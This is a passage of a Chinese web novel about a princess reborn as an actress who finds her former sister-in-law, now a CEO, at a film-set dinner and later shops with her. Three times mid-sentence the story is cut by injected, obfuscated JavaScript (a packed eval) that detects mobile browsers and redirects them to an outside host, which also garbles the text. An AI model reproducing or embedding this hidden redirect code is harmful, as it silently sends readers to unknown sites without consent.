但是呢,谁让人家现在的背景比之前更甚?以前还是李家大小姐的时候,王玮就不敢对她摆脸色。现在跟谈家沾上关系,王玮更是连跪都来不及。 王玮笑意浓浓:“诶,行,那我们就休息吧。” 会议桌对面的编剧瞬间朝着李永宁投来感谢的目光。 李永宁装没看见,活动着脖颈,抬掌捏捏右肩:“我出去走走。” 王玮:“去吧去吧。”大小姐,你可赶紧走吧。 杜月提醒她:“戴上帽子口罩,别乱走。一定要乱走的话,注意体态,注意行为。” 李永宁:“……知道了。” 其实也没什么好走的,这一片都是《凤归巢》为了拍摄租下的基地,大多都是古代建筑。李永宁白天拍戏的时候已经看过一遍了,这些建筑远不及大梁的建筑精致,徒有其表罢了。 换作以前,她一拳都能打塌一根柱子! 现在就算了,柱子打她还差不多。 绕着宫殿的小广场走了两圈,李永宁时不时抬手捶打自己的胳膊。 别看她下午耍枪干脆利落,飒爽至极,实则个中苦楚只有她自己清楚。 这这这这具身体实在太没用啦! 一点肌肉都没有,能顺畅地耍够三分钟的长枪,已算她意志力顽强。 强行耍帅的后果就是,一整个下午,她浑身的肌肉都在酸痛,特别是两臂处,烧得厉害。 开剧本会的时候她也不是诚心想睡觉的,虽然以前陪皇嫂上朝的时候,她也总会困倦无比。但今天,李永宁发誓,睡觉绝非她的本意。 实在是现在的身体被她强行消耗一波之后,迅速地进入了休眠充能状态。 看来提高体质和修习心法的事得赶快提上日程了。 找了个无人的地方,李永宁做了一些简单的小活动。 杜月打电话来提醒她:“在哪?回来吃饭。” 李永宁眼眸一亮:“马上!” 三步做两步,近乎蹦跶地往回走。愉快的心情在临近会议室大门时顿时消散。 人的心情为何可以在一瞬之间变换得如此快?李永宁感受着胸口涌出的酸闷,垂了眼眸。 “谈总。”王玮还是那张笑嘻嘻的丑脸,“您怎么来了。” 谈清瑶手里拎着外送袋,助理和司机跟在她的身后,两手也拎满袋子。 “哎呀,谈总,怎么还这样麻烦您!”王玮吓得不轻,赶紧上手去接,身边别的剧组人员也搭手。 谈清瑶婉拒了他的奉承,依旧把单独的那个外卖袋拎着。 “顺路而已。”她说。 杜月瞄了眼包装袋的logo。 成德记,跟影视基地两个方向呢,谈清瑶管这叫顺路? 顺的哪门子路?情路? 拿人钱财,替人追崽。杜月先开口:“谈总,好久不见。小李,愣着干嘛?过来打个招呼。” 李永宁才不想跟她打招呼呢。 目光向下,避开谈清瑶的面庞,只对杜月讲:“不是说吃饭了吗?” 王玮魂都要没了,瞧她这态度,更笃定她跟谈清瑶关系不一般。 “吃吃吃,现在就吃。”怕谈清瑶因为李永宁的反应生气,他赶紧打圆场,招呼着大家收拾会议桌,把打包过来的菜品摆上。 “都来坐都来坐。”王玮招呼着,“李老师,你就坐你之前的位置呗,谈总,来来来,坐这。” 谈清瑶点点头,在李永宁旁边的办公椅上坐下。 啪嗒。 咔嚓。 一次性保鲜盒被不断打开,勾人的饭香叫李永宁忍不住动了动鼻尖。 她打量着桌面上的菜,除了她钦点的那两道,还有许多今天中午没吃过的。 每个都很新鲜。 “诶?我们点这个了吗?算了,谈总,来,你尝尝这个。” 王玮困惑了一会,又热情起来,把一盒菜放过来。 “本地特色,他家的这个特别新鲜,都是每天从现摘的,别的地方想吃还吃不到呢。” 李永宁好奇地瞧,只看了一眼,却皱起了眉头。 “怎么还有断肠草!”她很不高兴!这太糟糕了! 王玮哎呀一声:“李老师,你说什么呀?断什么肠?这是鱼腥草啊,也叫折耳根。” 鱼腥草?这草还有这个名字?难道是她认错了?李永宁嫌弃地把头别开。她可接受不了这菜的味道。 一旁,女人轻声讲。 “李小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484072|201917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐,好巧。” “在我的家乡,这草也叫断肠草。” 李永宁咬住唇,呼吸又紧提了起来。 这个人,坏女人!明明都看过谈家的枪法了,那都应该知道了呀!这不正是她今天晚上出现在这里的原因吗? 还试探她。 还叫她李小姐。 谈清瑶,你真讨厌。 为什么这样呢?是因为皇嫂来到这个世界已经很久了吗?所以对于她,对于大梁的一切,都并没有那么在意了。 因而她也不再是她的宁宁了。 至少,和曾经不一样。 可如果她不在意,为什么还要出现在这里? 李永宁闷闷不乐。 “谈总,您的家乡真把这叫断肠草?”王玮不合时宜地插了一嘴,“您家乡哪的啊?也不知道我有没有去过。” 谈清瑶不答,双眼直勾勾地看着李永宁。 李永宁嗓眼干涩。 王玮:“谈总?” 谈清瑶笑了下:“我想李小姐应该知道。” 还还还叫她李小姐! 李永宁气得不行,扭头瞪她,一瞪却完蛋了。 该再对她生出一点脾气的,但她怎么都生不了她的气了。 因为,此刻,这一瞬间,女人看她的眼眸里满是温柔与鼓励,与一开始截然不同。 没由来的,李永宁只好生自己的气。 “云栖。”李永宁听到自己这样说。 她没有勇气继续和女人对视,合了眼帘,低低地看着自己的膝盖。 酸涩最开始是从鼻腔冒出来的,胸也跟着闷,说不出是高兴还是难过,整个人就像是被潮水淹没。眼角也跟着变得酸涩,堵在心口的潮水仿佛下一秒就要从那泄掉。 分外无措,闲放在大腿上的手掌开始抓起一点宽松的布料。 凉凉的,属于另外一个人的体温覆盖过来。 李永宁转头,女人不动声色,还有余力饮茶。 才被抚顺一点的脾气丝滑地冒了出来。 李永宁把她的手推开。 谈清瑶嘴角扬了下,耐心十足,又重新盖了回去。 她还把李永宁的手翻了个面,露出掌心。李永宁不想让她碰掌心,紧握着。 “咳。”女人清雅地咳嗽了一声。 李永宁的心一下再提起来。 皇嫂病了? 半推半就的,她把掌心松开了一点。 女人柔韧的食指趁虚而入,微微带着跟指腹不同的硬度的指甲划过她的掌心皮肤。 力道很轻,轻到过分。 蚂蚁似的爬过,蝴蝶般的点过,却叫李永宁的所有神经都被占据。 她再也听不到周围的人讲话,只能全神贯注地思考,落在肌肤上的每一笔连起来究竟是什么意思。 有一分钟吗?还是两分钟? 她已经完全失去了对时间的感知能力。 在女人写完最后一钩时,李永宁发泄式地捏住她的指尖,用力掐了一下。 谈清瑶低头,唇角轻扬。 9. 【009】 除了离她们两人座位很近的杜月,其余人根本不知道她们之间发生了什么,正就着刚刚李永宁的回答讨论。 王玮困惑不已:“云栖?没听过这地方啊,你们听过吗?” 副导演和执行制片连连摇头。 编剧也茫然。 后者甚至拿出手机搜索‘谈清瑶’,跳出来的简介信息里分明清楚地写着,谈清瑶,苏城人。 怎么这家乡又变成了云栖?一个搜都搜不出来的地方。 举国境内,查无此地! 李永宁又是怎么知道的? 吃瓜众人飞快地互相交换了一番眼神,默了下来。 整个会议室,一时之间,只能听到呼吸声和小心翼翼的咀嚼声。 王玮率先开启拍马屁技能。 “云栖?好地方,好地方啊,听这名字就知道是个好地方!” 李永宁毫不犹豫地道:“当然。” 大梁以南有云栖州,山深雾重,鱼腥草遍野。龙骧关外瘴雨连绵,谈家将门世代镇守于此,以护一国之界。 她第一次去云栖,就是陪皇嫂一块。 那个时候,皇嫂还不是她的皇嫂,只作为伴读长陪她左右。 那个时候,她喜欢叫她清瑶姐姐。 她们从大梁都城出发,一路南下。 初离帝京时,春光正好。朱雀长街十里繁华,车驾所至,行人纷纷避让。李永宁倚在车中,掀帘望去,眼底尽是新奇与欢喜。 “清瑶姐姐,”她拖长了语调,带着几分撒娇,“等到了云栖州,你可不许只顾着见家人,把我晾在一旁。” 坐在对面的谈清瑶微微一笑,一身月白锦裙将她衬得更加端雅清贵。 “殿下放心。” 她总是用这种温柔而从容的语气对李永宁讲话。 “云栖虽偏远,却别有风致。山间云雾如海,雨后紫蕺遍地,清香沁人。若殿下不嫌粗陋,届时我们可以上山采摘一二紫蕺,再烹作佳肴。” 李永宁轻哼一声,眉眼却弯了起来:“那就这么说定了。本宫若不尽兴,便罚你陪我再去一次。” 谈清瑶含笑颔首:“谨遵公主之命。” 等到了云栖州,真品尝到了谈清瑶口中号称清香美味的紫蕺,李永宁悔得肠子都要断了! 真是枉她费了好大力气从山上采了一箩筐回来! “断肠草!”她不高兴地指着那叫她几乎快要反胃的东西,“这才不是什么紫蕺,这就是断肠草!” 在李永宁察觉不到的角度,谈清瑶偷笑了下,才又微微惊讶转头说:“殿下,有这么难吃?” 她笃定颔首:“难吃!本殿下这辈子就没吃过这么难吃的东西!” 她想不通,如此高雅的清瑶姐姐,为什么会喜欢吃这样…… 这样令人发指的食物! 李永宁只盼着这辈子能把这该死的断肠草的味道彻底抛之脑后。 然而,她却没想到,在与大梁遥远到无法以距离计算的另外一个时空里,她和她的清瑶姐姐,她的皇嫂,又因为这断肠草重新确定了彼此的身份。 这是只有她们两个人知道的秘密。 手背痒痒的,又被微微刮弄了下。 李永宁怕痒得狠,忙把手收回,嗔瞪了眼身边的人。 谈清瑶笑意更甚,将她躲开的手拉回来,稳稳当当地牵着。 李永宁依旧把手往外拽,谈清瑶不松。 确认挣扎无果,李永宁拍拍谈清瑶的手,示意要拿自己的左手交换人质。 右手可牵不得,她还要吃饭呢。 满桌的人,就她一个吃饭用勺子,她也不觉得奇怪,热衷于把想吃的菜和饱满的米饭拌在一起,然后一勺打尽,送到嘴里,享受极致的味道与碳水的满足。 王玮真的没眼看了! 哪有女明星这样吃饭的? 他想马上跟谈清瑶解释,告诉她,谈总,你放心,咱们剧组里其他的演员都不这样的。 结果呢? 头才抬起,看见谈清瑶的模样,王玮一个字都蹦不出来了。 云端上的人物,大名鼎鼎的谈总,现在居然有这般闲情逸致,手肘抵着餐桌边缘,掌心拖着侧腮,柔了眉眼,瞧一旁的人大口大口吃饭。 王玮上次看到有人在饭桌上摆出这种神情,还是资方带闺女一起来跟他们吃饭的时候。 难道事情真的是他们之前在群里猜的那样? 李永宁是谈家的血脉? 王玮恨不得马上就刨根问底,但尚有一丝存在感的脑子让他保持了理智。 问吧,问了明天这剧组的导演就换人了。 又吃一口拌饭,李永宁没辙,实在无法忽略身旁的目光,不解地投去眼神。 谈清瑶只笑,嘴角更起。 李永宁命令道:“你快吃你自己的。” 谈清瑶:“好。” 桌上,女人拾筷夹了一点青菜。 桌下,两人的左手交错相握。 李永宁不习惯这样。 她和皇嫂以前虽然亲近,但也不会在用膳的时候手牵着手。 她看了谈清瑶好几眼,终是没忍住,偏头,凑在她的耳边小声问:“你这样能吃好吗?” 谈清瑶:“能。” 为了证明似的,谈清瑶夹起一块炸得香脆的薄荷排骨,放进嘴里,不过须臾,一小块光溜扁平的骨头就被她的舌尖顶了出来。 李永宁被逗笑了。 这样的皇嫂,她以前真是很少见到。 她学她的,也挑了一块排骨,舌头在嘴里打转好几圈,硬是没能成功做到骨肉分离。 李永宁有点恼了。 谈清瑶摇摇头,扯了一张纸巾,搭在掌心,抬到她的面前。 李永宁严肃地再次尝试了一遍,终于吐出一小块骨头。 谈清瑶自然无比地接过,拿纸包好,丢在一旁。 李永宁发表严肃声明:“是刚刚那个骨头的问题。” 谈清瑶:“嗯。” 李永宁:“真的!它形状很奇怪!” 谈清瑶:“好,怪它。” 李永宁:“我不跟你讲了,我要专心吃饭。” 谈清瑶:“再加点米饭?” 李永宁迟疑片刻,瞧了眼桌面上还没拌过那道番茄炒牛肉,犹豫着说:“一点吧,就一点。” 顺手的,她就把饭碗递了过去。 也顺手的,谈清瑶就给她盛了一点米饭。 于是,整个会议室,所有人都已经顾不上吃饭了,吃瓜都快把他们吃饱了。 这可比什么李家真假千金的瓜要好吃多了好吗!! 坐李永宁和谈清瑶对面的编剧,推了推自己鼻梁上的眼镜,看两人一眼,吃一口饭,看两人一眼,吃一口饭。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484073|201917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同事肘她,小声地问:“你干嘛呢?” 编剧:“cp拌饭。” 同事:“……”嗑嗑嗑,就知道嗑! 她恨铁不成钢地提醒:“你清醒点,不是所有人都跟你一样是女同。” 编剧:“你也清醒点,不是所有人都跟你一样是直女。” 看到两个美女在一块互动,她就心痒痒。 她恋爱脑!她性缘脑!她cp脑! 她就要嗑!就要嗑!怎么了! * 不知过了多久,这顿饭总算是吃完,但王玮也觉得自己的命快完了。 一想到今天早上为了迎合出品方的要求给李永宁改的打脸戏…… 王玮闭上了眼。 但还好,他下午懂得回头是岸…… “王导。”谈清瑶忽然说。 王玮立刻回应:“诶,谈总,有什么事?您尽管吩咐。” 谈清瑶和气地商量:“待会的日程,你们怎么安排的?” 拍马屁多年的王玮岂能不懂这话背后的含义? “没什么安排,谈总,要不你和小李……不对,你和李老师再待会?我们先回去片场收拾一下今天的器材。” 副导演立刻接:“对对对,我们先回去。” 谈清瑶的手还握着李永宁的,下巴微仰:“成,那我再留宁宁一会,先不送了。” 王玮:“当然!没问题!” 一群人就这么麻溜地出了会议室,杜月也跟着。 门关上那瞬间,六只大小不一的眼睛再次交汇。 “我刚刚没听错吧?”王玮先问的。 副导演摇头:“应该没错。” 王玮有点怀疑自己的耳朵:“谈总叫她什么?” 执行制片贴心地答:“宁宁。谈总叫她宁宁。” 王玮:“……” 副导演:“……” 杜月:“……” 不是吧,谈清瑶,你真是女同性恋?就算是的话,你又什么时候跟这个李永宁凑到一块的?还把别人叫得这么亲昵?! 杜月想不通。 门内,李永宁有点别扭。 谈清瑶怎么不说话?就拉着她的手不放,紧紧握着,一直看着她。人家剧组的人收拾东西,进进出出,谈清瑶还是不放手,依旧看着她。 李永宁有点害臊了。 “皇嫂。”她压低声音,“你干嘛呀?” 谈清瑶语调轻轻,眸光沉缓。 “没什么。”她静静地说,“就看看你。” 她又有什么好看?李永宁不明白。在她心里,皇嫂才是这个世界上顶顶好看的人! 李永宁干脆学她,也回看过去。 谈清瑶问:“刚刚在你手心写的字,猜出来了吗?” 李永宁故作不知:“没有。” 谈清瑶:“真没有?” 李永宁:“就没有。” 谈清瑶笑:“好,那我再给你写一遍?” 李永宁忙拒绝:“不要!好痒哦!” 谈清瑶的笑声更明显了。 过了会,她忽然又很安静,伸出手,一下挡住了她的眼睛。 李永宁愣了下,不解其意。 温冷的黑暗里,清凉的声音柔而低,淡淡传来。 “宁宁,好久不见。” 我很想念你。谈清瑶在心里说。 10. 【010】 施加在双眼上的力道不算重,甚至有几分克制的轻盈。 但当黑暗来临,颤动的眼睫扫过柔软的掌心,李永宁依旧觉得,四周的空气都凝结了一瞬。 宁宁,好久不见。 这六个字是否代表皇嫂已一个人在这个时空待了许久?她会孤单吗?初来乍到的时候,她害怕吗? 为她的担忧心绪抵过了一切,李永宁偏头笑笑,故作天真地说:“皇嫂,既然好久不见,又为何要挡住我的眼睛?我也想更多看看你。” “油嘴滑舌。”谈清瑶松了手。 李永宁追过去,抓着她的手腕,不让她彻底把手收走。主动而熟稔地将脸颊贴近她的掌心,耍赖道:“方才你看我许久,就不许我再多看看你了?” “没说不许。”谈清瑶答。 李永宁窃笑,知道她要纵容自己,便保持着这个姿势,认认真真地瞧着她。 皇嫂的眉毛变了,不似在大梁的那般纤细如柳叶一样,更直了一些,但也很好看,她依旧很喜欢。 皇嫂的鼻尖还是挺挺的,若是放上一颗樱桃,咕咚咕咚,小樱桃能马上坐滑梯溜下来。就连那鼻尖的一点小小的黑痣也在,李永宁一下喜出望外了。 她伸出手,点了点。 “这个也还有。” 软乎乎的痒意让谈清瑶仰头往后躲了下,教训她:“别乱碰。” 李永宁哼哼:“就碰一下嘛。” 以前皇嫂上妆,总要把脸上遮得洁白无瑕,鼻尖的那颗小痣也得彻底遮掉。尚宫局负责化妆的女官说这样才合规矩,白玉无瑕,最是高贵。 她分外不解。 一颗小痣又有何影响?她就喜欢皇嫂鼻尖这一点黑!常常看得她心痒痒,冷不丁就想咬一口。当然,她也只是想想。这等没规没矩不得当的事,她是不会做的。 现在可好啦! 皇嫂不用遮掉这一点点小痣了。 李永宁越看越喜欢,心情就像是从小到大都宝贝的一个物什,以往只能偷偷摸摸看,现在却能光明正大欣赏一样。 她欢欣极了,再次抬起手。 “啪——” 李永宁惊:“皇嫂,你打我!” 谈清瑶波澜不惊地斥:“谁让你动手动脚?” 委屈劲一下上来,李永宁不依了:“不过是换个时空,换个身份,皇嫂就与我这样生分了?一颗小痣也不让碰,我究竟还是不是你的好妹妹?” 谈清瑶自在地挑了挑眉:“看来我家宁宁,刚来不久,就已经掌握了做演员的精髓。” 好吧,耍赖没用!李永宁立刻换了一个新的招数。 “那皇嫂你也不能这样宽于律己,严以待人啊!你不让我动手动脚,可刚刚是谁吃饭的时候都要拉我?” 左手举高,人证物证俱有! 大理寺何在!速来主持公道! 谈清瑶大大方方地把自己的左手伸出来:“是我,你要是不高兴,要不再拉回去?” 顿了顿,右手也递出来。 “还是你想拉这只手?” 李永宁没好气地把她两只手都推开。 光天白日的,她才不要这样。 “晚上还拍吗?”谈清瑶忽然问。 李永宁老实说:“不知道。” 谈清瑶摇摇头,正想讲话就立刻轻咳起来。 李永宁忙伸手拍她的后背,关切道:“病了?” 谈清瑶摆手安抚:“最近降温,有点受凉而已。” 李永宁:“你去看太医,哦不,你去看医生了吗?” 谈清瑶:“小毛病而已。” 李永宁皱了眉。 谈清瑶忙说:“看了,小毛病而已。” 眉心的结这才缓缓松开。 “就算只是小毛病,你也得听医生的话,按时吃药,不能怕苦,知道吗?也不知道这地方有没有蜜饯,你以前总爱配着药吃的。” 李永宁絮絮叨叨着。 皇嫂以前不常生病,反倒是她,生下来病恹恹的。泡在药罐里长大以后,李永宁就对这个世界上再苦的药都习以为常了。皇嫂却不同,偶感风寒,吃一点药方都困难。每次都是她学着小时候娘亲和乳母哄她吃药的样子去哄皇嫂,她才肯稍稍听话。 “皇嫂?” 怎么她又看着自己不讲话了? 谈清瑶眸光柔润,唇角轻掀:“许久不见,你还是个小操心鬼。” 李永宁哇了一声:“你笑话我!” 谈清瑶反问:“你难道不操心?” 李永宁无力辩驳,嘴唇嘟了下,憋出一句:“那我操心操心你怎么了?我又不操心别人。” 谈清瑶瞧她这样,伸手掐掐她的脸:“好好好,你尽管操心我。” 放在桌面上的手机一震再震,谈清瑶知道,是助理在提醒她时间。 她不想看,把手机翻了个面盖上。 李永宁却注意到:“怎么了?谁给你发消息?” 谈清瑶:“没谁。” 李永宁:“我看见了!” 谈清瑶无奈,拿起手机,跟她一起瞧信息。 第一条:「谈总,研究所那边我已经安排好了,国家生物医学工程技术研究所的王院士团队,待会晚上九点做阶段性成果汇报。」 第二条:「王院士的助理刚又确认了一遍时间,说王院士下周要出国参加学术会议,近期只有今天有空。另外,所里的张书记也会列席,想跟您聊聊下一步的成果转化合作。」 第三条:「谈总,您还去吗?」 “这都什么跟什么?”李永宁快要不认字了。 她自觉聪颖,六岁开蒙,四书五经熟稔于心,却没想到被这一排文字难住! “皇嫂,这都什么意思?”李永宁问。 谈清瑶:“没什么,催我上班而已。” 李永宁一下想到之前王玮他们的对话。 在这个世界,她的皇嫂,好像也是一个极为了不起,极为忙碌的人。 她很想细细问问她,具体上什么班,上起来感觉如何,好玩吗,喜欢吗?但眼下都不合时宜。 “那你要去上班吗?”她问。 谈清瑶:“不想去。” 那就是要了。 皇嫂还是太后的时候,有时候也会这样,赖在她的身边,不乐意去跟大臣议事。皇嫂说,听那些老古董翻来覆去讲废话,没有陪她放飞筝吃葡萄有意思。 尽管这样说,可皇嫂在议事这件事上又做得极好。 对整个大梁朝廷来说,再天大的事,到了皇嫂那,就不过尔尔了。 李永宁嘴角勾勾。 皇嫂在跟她撒娇呢,和以前一样。 “我也不想你去。”李永宁说,“我才跟你见面一会呢,我舍不得。” 谈清瑶低了眼眸,拿起手机就要打电话。 李永宁一把拉住:“你做什么?” 谈清瑶:“打电话,不去了。” 李永宁:“不行,那个人说了,只有今天你能见到王院、院——” 谈清瑶:“院士。” 李永宁点点头:“对,院士。” 谈清瑶:“可以再定时间汇报。” 李永宁故作夸张:“你做得到?” 她认识的皇嫂,事必躬亲,无论如何也不愿给人添麻烦。 谈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484074|201917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清瑶不以为然:“如何不能?” 李永宁以为她只是开玩笑,摇摇她的手臂:“没事啦,那你去上班,还要下班的,对不对?总之,我们现在都在这里了,这是最重要的事情。” 在这个孤独的遥远的陌生的时空里,她不是一个人,皇嫂也不是了。 等等。 李永宁犹豫着。 谈清瑶一目了然地把她看透,伸出手,揉了揉她的脑袋:“别担心,我没比你早来多久。你今天来的?” 李永宁点点头:“就上午的事。” 提到这个她的小怨气又冒出来。 “你没认出我吗?”她问。 谈清瑶认罪很快:“宁宁,我的错。” 李永宁指摘她:“你故意的。” 谈清瑶点点头:“嗯,我故意的。” 好哇——! 李永宁瘪瘪嘴。 谈清瑶犹豫了下:“但也不算全然故意。” 她眼睫微微颤动。 “我只是……宁宁,我有点怕。” 不必再说更多,李永宁已经没脾气了。因为她也怕,所以她理解皇嫂。 “那罚你下次给我带好吃的!”李永宁佯装生气。 谈清瑶应允:“好。” 李永宁好奇地问:“皇嫂,那之前的她,我是说那个‘谈清瑶’,她怎么样?” 谈清瑶:“没什么特别的。” “她呢?” 李永宁反应了下,明白过来,知道她在说谁。 “走了。”提到这件事,她还是有些伤感,“喝了好多药,人没了。” 谈清瑶一把将她搂进怀里,掌心轻轻落在她的背上,温和却有力量。 “也许这场人生对她来说实在是太困难了,所以她才会做出这个选择。如果她是想好了要用这种方式休息的话,那也无可厚非。” “宁宁,你也没做错什么。” “你只是恰好出现了而已。” 李永宁知道,谈清瑶说得没错。遗留在她脑海里的那些情绪和记忆,全都在告诉她,之前的‘李永宁’已经撑不住了。 在真假千金的事情揭露以后,她没有勇气想象从云端坠落的生活要怎么过下去,也没办法承担之前选择留下的恶果。她以为自己唯一能做的就是彻底一了百了。 李永宁不算喜欢她,却又微妙地对她产生了一丝心疼。 在她漫长的人生里,没有人和事教会她,人跌倒了,是还可以再站起来的。 也许姿态丑了些,也许过程慢了些,但只要活得够久一点,就会有机会再站起来。 抿了抿唇,李永宁轻声问:“皇嫂,你呢?你怎么过来的?” 谈清瑶平淡地说:“也没什么特别的,一个午后,睡醒就到这了。” 李永宁警惕:“那小屁孩,他没对你做什么吧?” 谈清瑶满不在乎:“他能做什么?” 眼底的杀气一闪而过。 谈清瑶伸手,抚上李永宁的胸口。 “这里,还疼吗?” 李永宁灿烂一笑:“早就没什么感觉了。” “对了,皇嫂,你里面那件衣服,穿着憋得慌吗?” 谈清瑶没明白:“里面那件?” 李永宁点点头,把她轻轻搭在自己胸口的手往前摁,引着她去触碰那一块的布料,在她的手触电般闪开以后,分外不解,主动拉开自己的卫衣领口,往前弯了弯身子,给她看:“就是这件!穿着好难受呀!” 谈清瑶移开眼。 “皇嫂?”李永宁不解。 谈清瑶沉默片刻,说:“先走吧,我带你去个地方。” 11. 【011】 出了影视基地,十分钟的车程就有商场。 谈清瑶把李永宁捂得严严实实,领着她进了一家店,把她交给店员,让人帮忙挑几件合身的款式。 现在李永宁穿在身上的是前身精选的超聚拢款式,为了上镜好看,还特意在下胸/围处挑了小一款的尺寸。 穿着不憋才怪。 试了一会,李永宁选中新的。 瞧她的样子,谈清瑶就知道:“现在舒服了?” 李永宁轻松地做了两个扩胸运动。 谈清瑶没脸看,摇摇头,让店员再多挑几件同款的,又叮嘱李永宁:“怎么穿,她都跟你讲了吧?” 李永宁:“知道。” 提到这个她还有点害羞。以前在大梁虽然也会有侍女帮她穿衣服,但不会如此贴身。刚刚为她找合适的款式的时候,那个人都上手拿尺子量了呢。 谈清瑶不放心,问:“怎么洗,知道吗?” 李永宁:“……我知道!” 不要把她当三岁小孩啦! 谈清瑶略有些狐疑:“真的?” 李永宁:“不就脱脱搓搓挂挂,还要怎么洗?” 谈清瑶被她这带点小脾气的说法逗笑,伸手揉揉她的脑袋:“好,你知道。” 感觉到店员都在看过来,李永宁有点别扭,往旁偏偏,转移话题:“皇嫂,你买吗?” 视线在店里转了一圈。 这个时代的‘肚兜’跟大梁的很是不同,不过也有算得上精致的。整个店里,目之所及,各种花色各种款式都任人挑选。 李永宁喜欢这样。 大梁的风气虽比起同时代的别的国家更为开放,但当街卖‘肚兜’的店是没有的。 皇嫂贴心,带她来买,还给她挑选了好几样。她也想给皇嫂挑。 目光悠悠转转,看一会挂起来的衣服,又看一会谈清瑶,认真地盯着她的胸口琢磨,仿佛在脑海里进行一些善良且纯洁的搭配。 谈清瑶:“……” 谈清瑶:“买单。” 李永宁:“诶!” 李永宁:“皇嫂,你不买吗?” 谈清瑶摇头,只让店员打包帮李永宁挑选的。 李永宁瘪瘪嘴:“可是我也想给你买。” 还跟以前一样,看人的时候,眼眸亮晶晶的。 谈清瑶移开目光:“那你挑。” 李永宁当即欢快地投入琳琅满目的挑选中。 店员热情地在旁介绍:“我们这什么都有,看你喜欢钢圈款,软杯款,还是功能款?” 李永宁的嘴张成一个小小的o:“……?” 什么意思。 “我比较推荐这个全罩杯的款式,很适合你姐姐。”店员拎起一个白色的衣架,架子上,米色带蕾丝边的文胸自然地垂挂着。她显然很有业务能力,看一眼就能对客人的情况了解七八分,“你姐姐胸型好,又大,穿这种既能承托得住,又可以显瘦。” 李永宁的脸一下就红了。 这个人…… 这个人怎么可以随意点评皇嫂的…… 胸、胸型好…… 虽然她好像说的都是实话…… 但是…… 她自己知道的事实和被别人说出来的事实在感觉上实在有一些不同。 李永宁脑子有点冒烟了,坑坑巴巴地回:“那,那你也拿几件吧。” 谈清瑶站得远远的,在回工作消息,等李永宁和店员回来的时候,她不解地问:“怎么了?热了?” 李永宁迅速收回自己浅薄的目光,连连摇头:“没有。” 她学着谈清瑶刚刚的气魄:“买单!” 好消息,她的阵势学得很像。 坏消息,她的余额不支持她这样的阵势。 店员妥帖地笑着,温馨提醒:“抱歉,小姐,您的账户支付不了,您要不要换个账户试试?” 李永宁这辈子都没这么尴尬过。 手足无措,绞尽脑汁回忆着原主还有哪个账户上有钱。 “刷我的吧。”谈清瑶递来一张卡。 走出店门,大梁骄傲无比的公主殿下变成了一只垂头丧气的小鹌鹑。 谈清瑶个子比她高点,又穿了带跟的鞋,不费力就能看到她的头顶。 小鹌鹑的毛都快炸了。 谈清瑶问:“手上没钱?” 李永宁不想说话。 这还需要问吗? 谈清瑶说:“我给你拿张卡,你先用着。晚点加个微信,再给你转钱。” 李永宁心里别扭:“我不要。” 她都多少岁了?还花皇嫂的钱?她又不是小孩子。 谈清瑶知道她心高气傲,换了个方式讲:“那就算我先借给你的?毕竟你初来乍到,手头紧也是应该的。” 李永宁还是有点别扭,讲:“你不也没比我早来多久?也没见你手头紧的。” 谈清瑶云淡风轻地说:“那怎么办?可能是我命好吧。” 李永宁:“……” 真没办法反驳这句话。 怎么好好的都是穿越,皇嫂就穿成了大名鼎鼎的总裁,她却穿成了万人喊打的小糊咖?没钱的那种。 “把卡拿着。”谈清瑶的手伸过来。 李永宁犹豫了下,为了自己的生存质量着想,接过了卡,非常认真地对女人说:“我会还你的,皇嫂,我会自己赚钱的。” 谈清瑶想说不必,想逗她一句‘妹妹也与我生分了’,但她最终什么都没讲,只点点头,说了一声好。 她理解她。 她的骄傲不允许她心安理得地接受。 打小,姑姑和贵妃娘娘就教育永宁,她虽贵为一国公主,但也不能坐享其成。她与别的小姑娘的区别就是她更幸运一点,所以她生来不愁吃穿,拥有权力。可在其位谋其事,她必须要真正学会承担。 谈清瑶看了眼时间。 “我先送你回剧组。”她说。 李永宁还捏着那张卡,指尖从方方正正的边缘滑过,又抵在边角处。 “怎么了?宁宁。”谈清瑶很有耐心。她对着李永宁,总是可以有无尽的耐心。 李永宁低着头:“你要去工作,是不是?刚刚说的那个什么院士。” 谈清瑶:“嗯。” 谈清瑶:“王院士年纪大了,也是一早就说好的,还有几十号人等着。宁宁,我不是不想陪你。” 李永宁当然知道。 她不是那么不讲理的人,她甚至觉得皇嫂就是应该去工作。脑子想得清清楚楚明明白白,心却不是那么好管住的。 没见到她之前,没确定她的身份之前,李永宁觉得这种一个人在这个陌生的世界的孤独都是可以忍受的。她甚至可以用非常新奇的目光去看待周围的一切。 但跟谈清瑶确认了彼此的身份以后,她感觉自己一下变成了 